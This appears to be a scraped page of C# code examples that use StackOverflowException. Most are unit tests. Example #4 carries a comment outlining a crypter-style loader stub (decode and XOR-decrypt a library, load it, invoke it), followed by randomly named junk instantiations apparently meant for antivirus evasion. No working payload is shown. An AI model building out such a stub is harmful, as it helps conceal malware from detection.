コード例 #1
0
 public static void Ctor_String()
 {
     string message = "Created StackOverflowException";
     var exception = new StackOverflowException(message);
     Assert.Equal(message, exception.Message);
     Assert.Equal(COR_E_STACKOVERFLOW, exception.HResult);
 }
コード例 #2
0
 public static void Ctor_Empty()
 {
     var exception = new StackOverflowException();
     Assert.NotNull(exception);
     Assert.NotEmpty(exception.Message);
     Assert.Equal(COR_E_STACKOVERFLOW, exception.HResult);
 }
コード例 #3
0
ファイル: O1ExceptionClasses.cs プロジェクト: xxy1991/cozy
        public static void Cozy()
        {
            Console.WriteLine("\n-----------------------------------------------");
            Console.WriteLine(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType.FullName);
            Console.WriteLine("-----------------------------------------------");

            System.Exception e1 = new Exception();
            System.ApplicationException e2 = new ApplicationException();
            e2 = null;
            System.Reflection.TargetInvocationException e3 = new TargetInvocationException(e1);
            System.SystemException e4 = new SystemException();
            e4 = null;
            System.StackOverflowException e5 = new StackOverflowException();
            e5 = null;
        }
コード例 #4
0
        /* What this stub does:
         *  ---> Gets library key file data
         *  ---> Get library file data
         *  ---> Decodes library -> b64
         *  ---> Decrypts library -> xor
         *  ---> Loads assembly
         *  ---> Invokes { class.void }
         */

        void YjsMv(System.Windows.Forms.DrawToolTipEventArgs oKqQOv)
        {
            System.Web.Security.RoleManagerModule NnQQxZQ                   = new System.Web.Security.RoleManagerModule();
            System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId lMsgpe       = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapId();
            System.ComponentModel.TypeConverterAttribute       nLj          = new System.ComponentModel.TypeConverterAttribute("drkXnUnJhWFwf");
            System.Net.CredentialCache                              geTig   = new System.Net.CredentialCache();
            System.Web.HttpCompileException                         alxHnc  = new System.Web.HttpCompileException("UiEiZ", new System.Exception());
            System.Web.UI.WebControls.TableCell                     vcQBTfO = new System.Web.UI.WebControls.TableCell();
            System.CodeDom.CodeTypeMember                           vFPMu   = new System.CodeDom.CodeTypeMember();
            System.Web.UI.WebControls.FontNamesConverter            XgGWei  = new System.Web.UI.WebControls.FontNamesConverter();
            System.Web.HttpCookieCollection                         osBP    = new System.Web.HttpCookieCollection();
            System.Windows.Forms.NativeWindow                       ALZ     = new System.Windows.Forms.NativeWindow();
            System.Globalization.HebrewCalendar                     VNfgivs = new System.Globalization.HebrewCalendar();
            System.Security.Cryptography.SHA256Managed              QgqhE   = new System.Security.Cryptography.SHA256Managed();
            System.StackOverflowException                           ZsrNpa  = new System.StackOverflowException("topngxhg", new System.Exception());
            System.Runtime.CompilerServices.IndexerNameAttribute    ULAbnhF = new System.Runtime.CompilerServices.IndexerNameAttribute("rijUNSSShlVcWRqIb");
            System.Runtime.CompilerServices.NativeCppClassAttribute katJkXs = new System.Runtime.CompilerServices.NativeCppClassAttribute();
            System.ComponentModel.Design.CheckoutException          cagCAsm = new System.ComponentModel.Design.CheckoutException();
            System.ComponentModel.UInt64Converter                   CUsA    = new System.ComponentModel.UInt64Converter();
            System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri  wfDiyM  = new System.Runtime.Remoting.Metadata.W3cXsd2001.SoapAnyUri("Pqslfldqdvk");
            System.Web.Configuration.ClientTargetCollection         bTPD    = new System.Web.Configuration.ClientTargetCollection();
            System.Security.SecureString                            aYUhbe  = new System.Security.SecureString();
            System.Windows.Forms.UpDownEventArgs                    ZBnnQ   = new System.Windows.Forms.UpDownEventArgs(31195626);
            System.Text.EncoderExceptionFallbackBuffer              xdZhjn  = new System.Text.EncoderExceptionFallbackBuffer();
            System.Reflection.InvalidFilterCriteriaException        kYr     = new System.Reflection.InvalidFilterCriteriaException("zcblTWNdrOfLQic");
            System.ComponentModel.Design.DesigntimeLicenseContext   cPtkpz  = new System.ComponentModel.Design.DesigntimeLicenseContext();
            System.ComponentModel.DecimalConverter                  eDy     = new System.ComponentModel.DecimalConverter();
            System.Web.Configuration.AdapterDictionary              CnfaYLB = new System.Web.Configuration.AdapterDictionary();
            System.Web.Configuration.HttpCookiesSection             PjAiSDc = new System.Web.Configuration.HttpCookiesSection();
            System.Web.UI.WebControls.View                          tLTbUfG = new System.Web.UI.WebControls.View();
            System.Security.AccessControl.PrivilegeNotHeldException YkIDY   = new System.Security.AccessControl.PrivilegeNotHeldException();
            System.Web.UI.HiddenFieldPageStatePersister             SdBpR   = new System.Web.UI.HiddenFieldPageStatePersister(new System.Web.UI.Page());
            System.Windows.Forms.ColumnClickEventArgs               DIlHu   = new System.Windows.Forms.ColumnClickEventArgs(986016714);
            System.CodeDom.CodeMemberProperty                       CBEMisW = new System.CodeDom.CodeMemberProperty();
            System.Security.HostProtectionException                 OAy     = new System.Security.HostProtectionException("lpGrG", new System.Exception());
            System.Web.UI.WebControls.MenuItemBinding               FKHqdt  = new System.Web.UI.WebControls.MenuItemBinding();
        }
コード例 #5
0
        public void ctor_string_innerException()
        {
            String expectedMessage = "message";
            Exception expectedInnerException = new StackOverflowException();

            Exception target = this.CreateMock( expectedMessage, expectedInnerException );

            Assert.AreEqual<String>( expectedMessage, target.Message );
            Assert.AreEqual<Exception>( expectedInnerException, target.InnerException );
        }
コード例 #6
0
		public void StackOverflowException()
		{
			// this used to be considered a corrupted state exception but is not anymore
			var ex = new StackOverflowException();
			Assert.IsFalse(ex.IsCorruptedStateException());
		}